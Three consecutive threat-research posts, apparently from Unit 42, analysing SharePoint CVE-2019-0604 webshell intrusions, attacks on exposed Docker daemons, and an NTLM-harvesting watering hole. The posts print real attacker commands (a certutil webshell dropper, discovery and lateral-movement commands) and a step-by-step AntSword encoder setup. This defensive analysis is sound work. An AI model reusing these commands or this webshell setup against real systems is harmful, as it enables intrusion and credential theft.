Back in April 2019, we first observed the Emissary Panda threat group exploiting CVE-2019-0604 to install webshells on SharePoint servers at government organizations in two Middle Eastern countries. Fast forward five months to the current attacks and we see exploitation of the same vulnerability at government organizations in two different countries compared to the April attacks. We do not have any strong ties to connect the current attacks exploiting this vulnerability in SharePoint with the Emissary Panda attacks carried out in April. The overlaps between these two sets of attacks include exploitation of a common vulnerability, similar toolset and a shared government victimology, but no strong pivot points to connect these attack campaigns together.

The exploitation of this vulnerability is not unique to Emissary Panda, as multiple threat groups are using this vulnerability to exploit SharePoint servers to gain initial access to targeted networks. We would like to acknowledge the possibility of an overlap in the AntSword webshell, as we stated that Emissary Panda used China Chopper in the April attacks and AntSword and China Chopper webshells are incredibly similar. However, at this time we do not believe the April attacks used AntSword based on artifacts analyzed on the SharePoint server, specifically none of the IIS logs in the April attacks used the AntSword User-Agent in requests to the webshell that were observed in the current attacks.

Palo Alto Networks customers are protected from the threat described in this blog through Threat Prevention signatures for the exploits and C2 traffic as well as through WildFire. More details on this protection is available in the conclusion of the report.

Exploiting CVE-2019-0604

On September 10, 2019, we observed an HTTP POST request to the following URL that we believe was the exploitation of CVE-2019-0604 in a publicly facing SharePoint server (T1190):

/_layouts/15/picker.aspx

We did not have access to the data sent within the HTTP POST request above, however, we observed the following command executed on the SharePoint server at the time of the inbound request:

C:\Windows\System32\cmd.exe /c echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBEZWJ1Zz0idHJ1ZSIgVHJhY2U9ImZhbHNlIiAlPg[..snip..] > c:\programdata\cmd.txt & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\c.aspx

The command above uses the echo command to write a large chunk of base64 encoded data to a text file named cmd.txt. The command then uses the certutil application to convert the base64 encoded data (T1132) in the cmd.txt file to c.aspx in three different SharePoint related folders. The result of this entire command saves a variant of the Awen asp.net webshell (T1100) to the SharePoint server to further interact with the compromise server. The Awen webshell deployed in the exploitation of this SharePoint vulnerability had a SHA256 hash of 5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21.

Actor’s Awen Webshell

Just 40 seconds after the suspected exploitation of CVE-2019-0604, we observed the first HTTP GET request to a webshell at c.aspx, which is a modified version of the freely available awen asp.net webshell. We believe this HTTP GET request was the actor visiting the webshell after exploitation and prior to executing commands. Figure 1 shows the Awen webshell, which has little functionality outside of setting the path to the command prompt application and running commands.

Figure 1 Awen webshell installed by actor after exploiting CVE-2019-0604
Figure 1 Awen webshell installed by actor after exploiting CVE-2019-0604

The actor uses the Awen webshell seen in Figure 1 to run various commands to do an initial discovery on the system and network, including user accounts (T1033 and T1087), files and folders (T1083), privileged groups (T1069), remote systems (T1018) and network configuration (T1016). Table 1 not only shows the commands used for discovery, but also the commands used to deploy another webshell to the server using the echo command to write base64 encoded data to a.txt and using the certutil application to decode and save to bitreeview.aspx. Table 1 also shows the time delta between the commands executed using the Awen webshell to provide insight into the tempo at which this actor executed commands.

Time delta from previous command Command
3 minutes 55 seconds (from initial exploitation) dir c:\programdata\
14 seconds query user
15 seconds net group /do
32 seconds whoami
18 seconds net user <redacted hostname> /do
12 seconds net localgroup administrators
21 seconds ping -n 1 8.8.8.8
20 seconds net group exchange servers /do
22 seconds ipconfig /all
23 seconds ping -n 1 -a 10.x.x.x
10 minutes 53 seconds echo PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQi[..snip..] > c:\programdata\a.txt
5 seconds type c:\programdata\a.txt
5 seconds certutil -decode c:\programdata\a.txt c:\program files\common files\microsoft shared\web server extensions\14\template\layouts\bitreeview.aspx
23 seconds del c:\programdata\a.txt

Table 1 Awen webshell installed by actor after exploiting CVE-2019-0604

The webshell named bitreeview.aspx was saved to a folder within the SharePoint server’s install path. The bitreeview.aspx file is a variant of the AntSword webshell that has undeniably similar traits as the infamous China Chopper webshell. After installing this AntSword webshell, the actor no longer uses the Awen webshell and issues the first command to AntSword 35 seconds after the last command issued to the Awen webshell.

Actor’s AntSword Webshell

AntSword is a modular webshell that involves a very simple webshell that the actor would deploy to the compromised server and a client application referred to as the AntSword Shell Manager. The use of the client application differs from many other webshells that the actor would interact with in a browser window. The actor would use the AntSword Shell Manager to interact with the AntSword webshell on the compromised server, as the Shell Manager sends the appropriate script to the webshell that will execute to carry out the desired action. To provide a sense of the limited functionality within the webshell itself, the bitreeview.aspx AntSword webshell deployed in this attack (SHA256: 15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e) was only 162 bytes and contained the following:

As you can see from the code above, the AntSword webshell has no functionality other than running a script provided by the AntSword Shell Manager, specifically within a field named Darr1R1ng of an HTTP POST request. The code above also tells us the actors had created their own custom “encoder” within the AntSword Shell Manager to be able to interact with the code above, which we will discuss in detail in the next section.

The actors used the AntSword webshell to run a variety of commands on the compromised server. The following are a list of the initial commands issued using this webshell that will attempt to do initial system and user discovery, as well as attempt to ping systems of interest:

  1. whoami
  2. query user
  3. nltest /domain_Trusts
  4. ping -n 1 <redacted domain name>
  5. ipconfig /all
  6. net group /do
  7. net group Exchange Servers /do
  8. ing -n 1 <redacted hostname of Exchange server>
  9. ping -n 1 <redacted hostname of Exchange server>
  10. query user

The ping attempts suggests that this actor seeks to gain access to Microsoft Exchange servers, which may be part of their objective or they desire the elevated privileges on the domain that an Exchange server provides. Also, the ping attempts show the actor misspelled the command their first attempt, which suggests that these commands were issued with hands on-keyboard and not through an automated script. Figure 2 shows the terminal interface within the AntSword Shell Manager application through which the actors would have issued commands.

Figure 2 Terminal within AntSword’s Shell Manager interacting with webshell
Figure 2 Terminal within AntSword’s Shell Manager interacting with webshell

While we did not have 100% visibility, we also believe the actors used the AntSword webshell to upload tools to the server as well, specifically cURL, a custom Mimikatz variant, and compiled variants of Impacket’s wmiexec and atexec tools. AntSword has a FileManager interface that provides a navigation capability similar to Windows Explorer, which allows the actor to upload and download files to and from the compromised server. Figure 3 shows the FileManager interface within the AntSword Shell Manager application.

Figure 3 FileManager interface within AntSword’s Shell Manager using the webshell
Figure 3 FileManager interface within AntSword’s Shell Manager using the webshell

The actor issued commands to the webshell using these uploaded tools. For instance, the cURL tool was used in the command curl.exe ipinfo.io --max-time 5 to determine if the server had outbound access to the Internet and to obtain the external IP address of the compromised system. The actors used the ‘net use’ command, Mimikatz and the Impacket tools specifically for lateral movement. It appears the actors used Mimikatz to dump credentials from memory (T1003) and used the Impacket tools to use the pass the hash (T1075) technique to run commands on other systems.

Actor’s Custom AntSword Encoder

To use the AntSword webshell installed on the SharePoint server, the actor had to create a custom encoding module in AntSword. We know this as the default encoders in the AntSword Shell Manager were unable to successfully interact with the bitreeview.aspx webshell. We found that the default base64 encoder would not base64 encode the data in the Darr1R1ng field, rather it would deliver it in cleartext, as seen in HTTP POST request seen in Figure 4. When we attempted to use the default base64 encoder to interact with the bitreeview.aspx webshell installed by the threat actor, the server responded with HTTP 500 error messages as the cleartext Darr1R1ng field contained characters that were not in the base64 alphabet.

Figure 4 HTTP POST request issued by AntSword Shell Manager to webshell using default base64 encoder
Figure 4 HTTP POST request issued by AntSword Shell Manager to webshell using default base64 encoder

We determined that the actor must have created a custom encoding module in the AntSword Shell Manager that base64 encoded the entire Darr1R1ng field to successfully interact with the bitreeview.aspx webshell. The AntSword Shell Manager includes an interface for a user to create a custom encoding module, so we set out to determine the steps the actor would take to be able to create this custom encoding to start interacting with the webshell.

1. The actor would first start by opening the AntSword Shell Manager. Based on our analysis, they used AntSword v2.1 specifically.       2. Before interacting with the installed webshell, the actor had to create a custom encoding module. To create the custom encoding module, the actor would click the AntSword > Encoders manager from the menu.

3. In the Encoder Manager interface, the actor would click the New Encoder button.

4. From the New Encoder drop down, the actor would select ASPX as the AntSword webshell installed on the SharePoint server was an ASPX file.

5. The actor would have to name the new encoder and click the blue button to continue. We chose the default name ‘myencoder’ for this example.

6. After creating the new encoder, the actor would select the encoder and click the Edit menu button.

7. After clicking the Edit button, the EditEncoder window opens and provides an example encoder that the actor can modify. To use the ‘bitreeview.aspx’ webshell on the server, the actor must have modified line 24 of the example encoder to base64 encode the contents ‘Darr1R1ng’ field instead of leaving them in cleartext.

8. To base64 encode the ‘Darr1R1ng’ field, the actor would modify line 24 to code that has the same functionality as the code displayed in line 24 now. The actor would click the Save menu button to save the new custom encoding module.

9. With the custom encoding module created, the actor would now add a new shell in the Shell Manager window by right clicking and selecting the Add button.

10. The Add shell interface opens and allows the actor to configure the location of the shell, the name of the field within the HTTP POST request and the encoding module the webshell will use to interact with the Shell Manager.

11. In this incident, the actor would have added the following settings and clicked the Add menu button:

    1. Set ‘Shell url’ to URL to the ‘bitreeview.aspx’ webshell (localhost in our testing)
    2. Set ‘Shell pwd’ to the word ‘Darr1R1ng’
    3. Set ‘Shell type’ to “ASPX” from the drop down
    4. Checked the radio box next to ‘myencoder’ to select the custom encoder.

12. After clicking the Add button, the shell is now listed within the Shell Managers interface.

13. To interact with the webshell, the actor would right click the shell and choose actions from the displayed menu. To run commands on the webserver, the actor would select the Terminal menu button.

14. The AntSword Shell Manager displays an interface that resembles a command prompt window. It also includes information about the system that the webshell is running on, such as the operating system, current user, current working directory and the storage volumes on the server.

15. The actor would issue the desired commands in this window, which the webshell would run and respond with the results.

16. If the actor wished to interact directly with the compromised server’s file system, they could choose the FileManager menu button from the Shell Manager.

AntSword Similarity to China Chopper

AntSword and China Chopper are both modular webshells that actors would interact with using a client application instead of a web browser. It appears that developers of AntSword may have used China Chopper as a basis for their tool, as the default China Chopper webshell works with the default encoder of AntSword’s ASPX webshell. The major differences between the two involves the code and parameters the two client applications send to the webshell to run commands and other activities. For instance, China Chopper uses two parameters named z1 and z2 when running commands via the webshell, as seen in Figure 5, whereas AntSword uses four randomly generated names each execution, as seen in Figure 6.

Figure 5 HTTP POST request to China Chopper webshell to run a command with arrows pointing to its required parameters
Figure 5 HTTP POST request to China Chopper webshell to run a command with arrows pointing to its required parameters

 

Figure 6 HTTP POST request to AntSword webshell to run a command with arrows pointing to its required parameters
Figure 6 HTTP POST request to AntSword webshell to run a command with arrows pointing to its required parameters

Not only do the parameters differ, but the code sent to the webshell differs as well. As you can see in Figure 7, the code used to run commands on the webshell by AntSword and China Chopper have several lines of code that are exactly the same, while some lines of code differ and several lines were added to AntSword’s code on the right. The code on the right side of Figure 7 is AntSword, which includes additional lines of code to allow the actor to set environment variables before running the command.

Figure 7 Comparison between code used by AntSword and China Chopper to run a command on the webshell
Figure 7 Comparison between code used by AntSword and China Chopper to run a command on the webshell

 

Tools Seen in Related Webshell

When analyzing tools uploaded to the AntSword webshell, we discovered the same Mimikatz sample uploaded to a webshell hosted on a server at another government organization in a different Middle Eastern country. On September 19, 2019, the actor uploaded this Mimikatz sample to the webshell hosted at a URL:

<redacted domain>/uploadedFiles/green_post.aspx

We did not have access to the webshell hosted at this URL or visibility into the commands executed by the actor. We also do not know if the server is a SharePoint server or if a vulnerability was exploited to install the webshell. However, the Mimikatz sample was unique as it used a custom loader written in .NET, so we believe that the same threat group is involved in the intrusions at both of these government organizations.

In addition to the Mimikatz tool, the actor uploaded other tools to the webshell hosted at this second organization. Table 2 shows the executables uploaded to the webshell, which shows similar tools that actors uploaded to the AntSword webshell discussed earlier, including Mimikatz and Impacket’s atexec tool.

SHA256 Filename Description
da53dcaeed.. es.exe Mimikatz with custom loader
26d9212ec8.. Rar.exe Legitimate WinRAR
a4aca75bcc.. atec.exe Compiled Impacket atexec tool
e4e05c9a21.. dmp.exe Dumpert tool

Table 2 Tools uploaded to webshell hosted at second government organization

One of the tools seen in Table 2 that caught our interest was the Dumpert tool, which is freely available on Outflanknl’s GitHub repository. The author of Dumpert describes the tool as an LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR solutions. Dumpert is a relatively new tool with its initial commit to GitHub occurring on June 17, 2019. While the Dumpert tool is meant to help red teams emulate an adversary, we had not seen this tool used by threat actors until it was uploaded to this related webshell on September 23, 2019.

Conclusion

Threat actors continue to exploit the CVE-2019-0604 vulnerability to compromise SharePoint servers, which is a vulnerability that Microsoft released a patch for in March 2019. We observed actors installing webshells to the SharePoint server that they use to run commands and upload additional tools to in order to dump credentials and move laterally to other systems on the network. We were also able to find a related webshell based on the threat group’s tool reuse, specifically a custom Mimikatz sample. Thanks to this tool reuse, we found the threat group uploading a credential dumping tool called Dumpert that we had not seen used in prior incidents involving the exploitation of CVE-2019-0604.

Palo Alto Networks customers are protected by:

  • The CVE-2019-0604 vulnerability is covered by our IPS signature Microsoft SharePoint Remote Code Execution Vulnerability (55411)
  • The AntSword ASPX Webshell is detected by our IPS signature AntSword Webshell Command and Control Traffic Detection (85561, 85562, 85563)
  • The Mimikatz, Impacket atexec and Dumpert tools are all marked with malicious verdicts by WildFire.

Indicators of Compromise

Awen Webshell

5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21

AntSword Webshell

15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7da55e

Mimikatz

da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304

Related Tools

da53dcaeede03413ba02802c4be10883c4c28d3d28dee11734f048b90eb3d304

2836cf75fa0538b2452d77848f90b6ca48b7ff88e85d7b006924c3fc40526287

26d9212ec8dbca45383eb95ec53c05357851bd7529fa0761d649f62e90c4e9fd

a4aca75bcc8f18b8a2316fd67a7e545c59b871d32de0b325f56d22584038fa10

e4e05c9a216c2f2b3925293503b5d5a892c33db2f6ea58753f032b80608c3f2e

Attacker’s Tactics and Techniques in Unsecured Docker Daemons Revealed

Posted on by Jay Chen

Executive Summary

Between September and December 2019, Unit 42 researchers periodically scanned and collected metadata from Docker hosts exposed to the internet (largely due to inadvertent user errors) and this research reveals some of the tactics and techniques used by attackers in the compromised Docker engines. In total, 1,400 unsecured Docker hosts, 8,673 active containers, and 17,927 Docker images were discovered in our research. The Docker team worked quickly in tandem with Unit 42 to remove the malicious images once our team alerted them to this operation.

Container technology has gained enormous popularity in the past few years and is becoming the de facto way for packaging, delivering, and deploying modern applications. While the technology is quickly evolving and being adopted, it also becomes a valuable target for adversaries.

While the majority of the malicious activities involved cryptojacking (mostly mining for Monero), some compromised Docker engines were used for launching other attacks or installing rootkits on the hosts. Sensitive information, such as application credentials and infrastructure configuration were also found from the exposed logs. One interesting tactic we frequently saw was attackers mounted the entire host file system to a container and accessed the host operating system (OS) from the container to read/write from it.

We organized the observed malicious activities into the four categories below and provided an overview of each category with real samples.

  1. Deploy Container Images with Malicious Code.
    Malicious images are first pushed to a public registry. The images are then pulled and deployed on the unsecured Docker hosts.
  2. Deploy Benign Container Images and Download Malicious Payloads at Run Time.
    Benign images are deployed on the Docker hosts. Malicious payloads are then downloaded and executed inside the benign containers.
  3. Deploy Malicious Payloads on the Host.
    Adversaries mount the entire host file system to a container and access the host file system from the container.
  4. Obtain Sensitive Information from the Docker Log.
    Adversaries scrape the Docker logs to find sensitive information such as credentials and configurations.
Figure 1. Four categories of the observed malicious activities

Docker Daemon

Docker daemon is a persistent background process that manages the containers on a single host. It is a self-sufficient runtime that manages Docker objects such as images, containers, network, and storage. Docker daemon listens for REST API requests and performs a series of container operations accordingly. Applications or users typically use Docker clients to authenticate and interact with Docker daemons. A Docker daemon can also communicate with other Docker daemons if multiple hosts are managed as a service or a cluster.

By default, Docker daemon creates a non-networked Unix domain socket at /var/run/docker.sock and only processes with root permission or Docker group membership can access it. If a client needs to access a Docker daemon remotely, Docker daemon can open a TCP socket and listens on port 2375 for REST API requests. The default TCP socket provides unencrypted and unauthenticated access to the Docker daemon. Mutual authentication with TLS can also be configured to secure the communication between the client and the remote daemon. Docker management tools such as Portainer, Kitematic, and Rancher typically require users to enable the TCP socket so that a cluster of Docker hosts can be managed remotely. However, as TLS configuration can be complicated, users sometimes made mistakes and inadvertently exposed unauthenticated daemons to the entire internet.

Explore the Exposed Docker Daemons

Due to the complexity of setting up TLS, we found many misconfigured and unsecured Docker daemons on the internet. There are Docker daemons that have no encryption or authentication. There are also Docker daemons with TLS configured, but the daemons fail to verify the client certificates. Without verifying the client certificates, anyone can still establish an encrypted but unauthenticated connection to the daemon. Malicious actors who find these unsecured Docker daemons can gain full control of the Docker platform and perform actions such as deploying new containers, logging into any active container, and downloading the container images. Since the Docker daemon runs as a root process on the host, attackers may also gain full control of the host.

To understand the tactics and techniques that the malicious actors exploit on these unsecured Docker hosts, we periodically scanned for the exposed Docker daemons on the internet and collected their metadata between September and December 2019. We are interested in seeing the malicious images, containers, and processes deployed on the compromised hosts. Using the Internet of Things search engines Shodan and Censys, we found around 5,000 Docker daemons exposed to the internet and 10-15% of these daemons can be accessed without authentication. Using the standard Docker Daemon APIs, we collected metadata from the unsecured hosts by making a few read-only requests, as shown in Table 1.

API Description
GET /info Show system-wide information
GET /containers/json List containers
GET /images/json List Docker images
GET /volumes List mounted/bind volumes
GET /swarm Inspect the swarm configuration
GET /events Get container events from Docker

Table 1. Docker Daemon APIs used for collecting metadata.

Overall, we identified more than 1,400 unique unsecured Docker hosts, 8,673 active containers, 17,927 Docker images, and 15,229 volumes. Figure 2 shows the location distribution of the Docker daemons. Figure 3 shows their Docker versions and OS types. In the next section, we will summarize the malicious activities observed on these compromised Docker hosts.

Figure 2. Location of the unsecured exposed Docker hosts

 

Figure 3. The versions (left) and the OS (right) of the unsecured Docker hosts

 

Malicious Activities in the Exposed Docker Daemons

Once malicious actors discover an unsecured Docker daemon, they can gain full control of the Docker platform and potentially compromise the entire host. Our research shows that the majority of the compromised platforms were involved in cryptojacking (mostly mining for Monero), and some were also used as stepping stones for launching other attacks. We see adversaries compete for the “free resources” by eliminating each other from the systems, and some more aggressive adversaries further compromise the host and install malware directly on the host OS. The observed malicious activities are organized into four categories and are detailed in each subsection.

Deploy Container Images with Malicious Code

Each Docker image packages all the dependencies necessary for running the application. The application can thus run identically on any platform, operating system, and infrastructure. Malicious applications can also be delivered the same way with high reliability. Adversaries use public container registries such as Docker Hub and Quay to store and deliver malicious container images. As Docker Hub is the default registry trusted by most Docker hosts, it is frequently used to store and serve malicious images. These types of malware are pulled and run as containers directly on the compromised hosts. They typically just steal the CPU, memory, or networking resources without harming other containers or processes on the same host. Because the malicious code is built into the container images, composition analysis tools such as Prisma Cloud can usually identify the malicious files before the images get deployed. Our research found numerous images on Docker Hub containing malicious code, as shown in Table 2. Note that Docker Hub has deactivated these images after we reported them.

Repository/Image Malicious content Pull Count SHA256
abailey000/debian xmrig monero miner.
Mining pool: mine.c3pool[.]comMining address: 4453uAxM3ej4p4DWJBV8v1QpdA9vZB7j1cocTXcbjpoSaxXdBC5SxDrgxU6JmV8ePhL95kwHTtZwcP5zENXNSJwUHN5hFza		 10K 38d53ce7deed9ce26b2771d489fa3ea742ccabbf8ad62e478701998ab060e6c1
challengerd/challengerd xmrig monero miner.
Mining pool: monerohash[.]comMining address: 89mvBaUVy4r6A2rNBVdatMBaLP27zPYGyivmDbJFqFPvUxEwVB4v4V52wgnpH6BWvjHkyzZLMJso7YUgsNwY15y9UD6A6az		 10K 6bd3627b038170cd20b7b2562ff2f6d7bff1e86262f452ab88178fa97cec5e3e
tanchao2014/mytest xmrig monero miner.
Mining pool: pool.supportxmr[.]comMining address: 45TwKEr1LjoEPuxnbfuPhaXCf138AoQvtSJ3jdqg1gPxNjkSNbQpzZrGDaFHGLrVT7AzM7tU9QY8NVdr4H1C3r2d3XN9Cty		 7.4K 6862548eb601a65389a93b65bd942c8ffd0197dc956c0702c0fa1ca42a798382
freetouse3/accumulo xmrig monero miner.

Ming pool: xmr.f2pool[.]com

Mining address: 43U3d1PBg4Gi2BaeMx7nH2dQsyZhAdMRATkJmbvr3kFuEMvU93f4H5geqjnru7SjLA3q81xCnUWr9PdFJRKDB5131fbC8pE.x

 4K a999783625563cb9436628dcaa4f6bac3ae4b511618771d1aaabb6ffc3db0e1e
shaylsholmes/myubuntu xmrig monero miner.
It randomly checks IPs in IPv4 address space for possible exposed Docker hosts.Mining pool: pool.minexmr[.]comMining address: 46H5FPmG5x8NCXTTLMWcTzezHR5CqkQeg41XnbfK1Ujh1sw4xx29WmM15rEVaXMrUWN8SutBnGe21XvWg3T69B5ENfuUymp		 250 929ff615f6510f4618f5537b63d3499dc1ebc1f6e841bea9f2f28f2c6ec8eeef
pocosow/centos A cryptojacking malware with worm capability.

The image itself does not contain the cryotojacking code, but it deploys another two malicious containers with xmrig monero miner.

Mining address: 45TwKEr1LjoEPuxnbfuPhaXCf138AoQvtSJ3jdqg1gPxNjkSNbQpzZrGDaFHGLrVT7AzM7tU9QY8NVdr4H1C3r2d3XN9Cty

The detail is published in Unit 42 blog Graboid.

 6.5K 6560ddfd4b9af2c87b48ad98d93c56fbf1d7c507763e99b3d25a4d998c3f77cf
heybb/theimg1 The container launches Slowloris DoS attack over the Tor network. It periodically pulls new payloads and targets from a command and control server on the tor network. 610 7779b83d97bf8a17c24540c5aefba542f9cab6c9b729afe8ab73c78a245948e8

Table 2. Docker images with malicious code

Deploy Benign Container Images and Download Malicious Payloads at Run Time

Containers are designed to be self-sufficient, and once a container starts, its file system and active processes generally stay unchanged. However, if there are no security policies, such as AppArmor or SELinux, to restrict the file system access, adversaries can still install and execute malicious payloads inside containers at run time. While composition analysis tools are good at identifying malicious code in container images, they can’t see the malicious payloads installed at run time. An adversary can deploy a verified official image from Docker Hub and inject malicious processes into the container at a later time. More advanced container runtime protection such as Prisma Cloud Compute are necessary to detect this type of attack.

In Figure 4, a malicious script was downloaded and executed in an official Ubuntu image. In Figure 5, two malicious scripts were downloaded and run on the host file system through an official Alpine image. Figure 6 shows that a base64 encoded script was added to the host’s crontab through an official Busybox image.

 

Figure 4. Execute a malicious command in an official Ubuntu image
Figure 5. Execute a malicious command in an official Alpine image
Figure 6. Execute a malicious command in an official Busybox image

Deploy Malicious Payloads on the Host

Unsecured Docker daemons give malicious actors full access to all the containers and images, but the daemon doesn’t directly provide access to the host OS. An interesting trick we frequently saw is attackers mounted the entire host file system to a container and access the host OS from the container. When the entire host file system is mounted, almost all the files on the host can be read/written from the container.

In Figure 7, an adversary created a container that mounted the entire host file system (/) to the container file system (/mnt). Figure 8 shows how the adversary executed a malicious payload against the host file system from the container. The chroot command changes the root directory of the calling process to /mnt, which points to the root of the host file system. After chroot is done, the malicious process virtually runs on the host file system.

Figures 9-11 show other observed techniques used to compromise the host using the mounted file system. In Figure 9, the adversary created a malicious cron job on the host by sending a malicious payload to the host mount point (/mnt) in the container. In Figure 10, the adversary added a new public key to the root’s home directory on the host. This key enables direct ssh access to the host OS. In Figure 11, malicious code was downloaded and dropped to the host boot procedure directory rc3.d through the mount point.

Figure 7. Root of the host file system is mounted to a container
Figure 8. Execute commands inside a container
Figure 9. Execute commands inside a container
Figure 10. Execute commands inside a container
Figure 11. Execute commands inside a container

Obtain Sensitive Information from the Docker Log

By default, the Docker daemon maintains the event and log for every container from the time it is created to the time it is killed. Logs are crucial for debugging and auditing, but sensitive information such as configurations and credentials may also leak from the logs.

In Figure 12 and Figure 13, application passwords were revealed from the command logs. In Figure 14, the IP of the etcd server and locations of key files were leaked from the command logs. These credentials facilitate lateral movements and could quickly expand the scale of the compromise.

Figure 12. Leaked redis credential from the container command
Figure 13. Leaked portainer credential from the container command
Figure 14. Leaked key files from the container command

Throughout the research, we observed a set of websites that were frequently used for delivering malicious payloads or receiving exfiltrated data from the compromised hosts. Most of these domains allow users to upload and download files anonymously. Table 3 lists nine websites that we saw multiple times.

Website Website Information
bigbotpein[.]cf Users can upload and download files anonymously
mediafire[.]com Users can upload and download files anonymously
transfer[.]sh Users can upload and download files anonymously
ix[.]io Users can use REST API to paste, view, and delete plain text files
gyazo[.]nl Users can upload images or videos and receive a download link.
onion[.]ly A Tor web proxy that allow users to access Tor services through regular browsers
onion[.]ws A Tor web proxy that allow users to access Tor services through regular browsers
tor2web[.]su A Tor web proxy that allow users to access Tor services through regular browsers
ngrok[.]io A service that exposes a local web server to the internet. C2 can be hidden behind the service

Table 3. Websites commonly used as C2

Conclusion

This research provides the first, street-level view into the tactics and techniques attackers use when compromising container platforms. We learned not only the malicious activities in the container platform but also the counter measurements necessary to detect and prevent these activities. Since most of the vulnerabilities are caused by accidentally exposing an unsecured Docker daemon to the internet, some defense strategies to mitigate them include:

  • Always enforce mutual authentication when configuring TLS on Docker daemon socket
  • Use Unix socket to communicate with Docker daemon locally or use SSH to connect to a remote Docker daemon
  • Only let an "allow list" of client IPs to access the Docker server
  • Enable Content Trust in Docker so that only signed and verified images can be pulled
  • Scan every container image for vulnerabilities and malicious code.
  • Deploy run time protection tools to monitor the running containers.

Palo Alto Networks customers are protected in the following ways:

  • Prisma Cloud vulnerability scanner can detect vulnerable/malicious codes and block them at build time.
  • Prisma Cloud Compute continuously monitors containers and hosts at run time.

 

xHunt Campaign: New Watering Hole Identified for Credential Harvesting

Posted on by Brittany Barbehenn

Executive Summary

During the analysis of the xHunt campaign activities, we identified a Kuwait government organization’s webpage used as an apparent watering hole. The webpage contained a hidden image which was observed between June and December 2019, and referenced domains associated with malicious activity conducted by the xHunt campaign operators.

We believe that the same threat actors involved in the Hisoka attack campaign compromised and injected this HTML code into this website in an attempt to harvest credentials from the website’s visitors; specifically, gathering account names and password hashes. While we cannot confirm this, it is possible that the actors intended to crack these hashes to obtain the visitor’s passwords or using the hashes gathered to carry out relay attacks to gain access to additional systems.

If successful in harvesting account credentials, the compromised data has a plethora of uses for the attackers and can allow them to breach an organization to steal sensitive information. Furthermore, because they'd be using trusted credentials, it can allow attackers to go undetected for long periods of time, enabling them to infiltrate other parts of an organization and even implement backdoors, like RATs, to get back into a system even after being removed. This can result in significant damage to an organization over a prolonged period of time.

During this same timeframe, we observed an indication of DNS redirect activity on infrastructure used by these same operators. The domains observed in redirect activity primarily contained subdomains referencing an association with their organizational email servers further implying an interest in user credential harvesting.

Palo Alto Networks Next-Generation Firewall customers are protected from this threat. Our Threat Prevention Platform with WildFire detects activity associated with these threat groups while simultaneously updating the ‘malware’ category within the URL filtering for malicious and/or compromised domains that have been identified. AutoFocus customers can continue to track xHunt Campaign activity by using the xHunt tag.

Use of Responder on Kuwait Government Website

During open-source research of the xHunt Campaign, we identified a website belonging to a government organization in Kuwait referencing an image hosted on Hisoka associated command and control (C2) infrastructure. Beginning in May 2019, the image referenced the domain microsofte-update[.]com but changed to learn-service[.]com in December 2019. As of January 2020, this image is no longer referenced on the webpage.

We analyzed the HTML code on this website, shown in Figures 1 and 2, in order to try and better understand how this organization’s website would attempt to load an image from a domain known to host a C2 server used for malicious activity. Figure 1 shows the webpage’s attempt to load an image from the URI file:///\\microsofte-update[.]com\c$\. This URI does not display to the website visitor due to the “visibility:hidden” style attribute. The URI uses the “file” URI scheme with the fully qualified domain microsofte-update[.]com as the host and the “c$” as the path to the image. We found this path particularly interesting, as the HTML would attempt to load the “C:” drive file share as an image on the remote server. Logically, the legitimate inclusion of this code does not make sense as the “C:” drive itself would not load as an image. Figure 2 shows the December 2019 change in the URL hosting the image file, however, the rest of the code remained the same.

Figure 1. Image hosted on Kuwaiti government website Header in mid-2019 xHunt
Figure 1. Image hosted on Kuwait government website Header in mid-2019
Figure 2. Image hosted on Kuwaiti government website Footer in late-2019 xHunt
Figure 2. Image hosted on Kuwait government website Footer in late-2019

We believe that the actors likely included this line of code in an attempt to passively harvest account credentials in the form of NTLM hashes from the webpage’s visitors. Windows-based machines can use NTLM hashes when authenticating with a server. It is possible that when visiting the webpage containing this code, the user’s browser will attempt to load the image by accessing the file share on the remote server. To access this remote file share, Windows will perform an NTLM challenge-response authentication attempt. If the actor-controlled server specified in the URI is configured to emulate the NTLM handshake and the website’s visitor is on a local network that allows internal Windows networking protocols to reach the actor controlled server, such as Server Message Block (SMB) and NetBIOS, then the actors could capture NTLM hashes and other system information for that visitor. After capturing the NTLM hashes, the actor could crack the hash to obtain the user’s password or use the hash in a relay attack. This could also enable a full breach of an organization and allow the attackers to go undetected for long periods of time.

To test this theory, we set up the Responder tool on a server in our lab and configured the environment to have the domain microsofte-update[.]com resolve to the server. We then visited the website from another system in our lab that had the HTML code injected and observed the Responder tool gathering the domain name, user name, IP address and NTLM hashes from the system on which we visited the website, as shown in Figure 3.

Figure 3. Spiderlab Responder collection output xHunt
Figure 3. Spiderlab Responder collection output

DNS Redirects

During the analysis of the Responder collection activity on the Kuwait organization’s webpage, we observed an indication of DNS redirect activity in related infrastructure analysis within AutoFocus. As shown in Figure 4 below, in May 2019, the domain belonging to an organization within Kuwait began resolving to infrastructure within a netblock utilized by the xHunt operators during that same timeframe.

Figure 4. Example DNS redirect activity observed in April and May 2019 xHunt
Figure 4. Example DNS redirect activity observed in April and May 2019

Pivoting on this activity within RiskIQ PassiveTotal, we were able to identify an additional Government organization in Kuwait with the same resolution change in April 2019.

Figure 5. RiskIQ PassiveTotal indication of DNS redirect activity xHunt
Figure 5. RiskIQ PassiveTotal indication of DNS redirect activity

These changes led us to additional DNS Redirect infrastructure associated with the xHunt activities. We were able to identify DNS redirect activity surrounding both the 2018 Sakabota activity as well as the 2019 Hisoka activity. All redirects observed were associated with the Kuwait government and private sector organizations. Figure 6 shows a sample timeline of the activity where the top row shows the target organizations, the middle row shows the infrastructure change and the bottom row shows the related xHunt domains.

Figure 6. Sakabota and Hisoka DNS redirect activity Timeline xHunt
Figure 6. Sakabota and Hisoka DNS redirect activity Timeline

